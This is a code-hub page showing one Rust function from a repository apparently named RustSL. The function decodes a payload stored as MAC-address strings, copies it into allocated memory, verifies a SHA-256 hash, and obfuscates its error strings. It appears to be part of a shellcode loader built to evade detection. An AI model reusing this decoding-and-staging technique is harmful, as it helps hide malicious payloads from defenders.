MCPcopy Create free account
hub / github.com/echQoQ/RustSL / decrypt

Function decrypt

src/decrypt/mac.rs:4–36  ·  view source on GitHub ↗
(decoded: &[u8])

Source from the content-addressed store, hash-verified

2use obfstr::obfstr;
3
4pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 use sha2::{Sha256, Digest};
6 let hash_len = 32;
7 let len_len = 4;
8 if decoded.len() < hash_len + len_len {
9 return Err(obfstr!("mac payload too short").to_string());
10 }
11 let hash = &decoded[0..hash_len];
12 let len_bytes = &decoded[hash_len..hash_len + len_len];
13 let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 let addresses: Vec<&str> = addresses_str.split(',').collect();
16 let p = unsafe { alloc_mem(original_len)? };
17 let buf = std::slice::from_raw_parts_mut(p, original_len);
18 let mut idx = 0;
19 'outer: for mac_str in addresses {
20 let parts: Vec<&str> = mac_str.split('-').collect();
21 if parts.len() != 6 { return Err(obfstr!("Invalid MAC address").to_string()); }
22 for p in parts {
23 if idx >= original_len { break 'outer; }
24 let b = u8::from_str_radix(p, 16).map_err(|_| obfstr!("Invalid MAC byte").to_string())?;
25 buf[idx] = b;
26 idx += 1;
27 }
28 }
29 let mut hasher = Sha256::new();
30 hasher.update(&buf[..original_len]);
31 let calc_hash = hasher.finalize();
32 if hash != calc_hash.as_slice() {
33 return Err(obfstr!("mac hash mismatch").to_string());
34 }
35 Ok((p as usize, original_len))
36}

Callers

nothing calls this directly

Calls 1

alloc_memFunction · 0.50

Tested by

no test coverage detected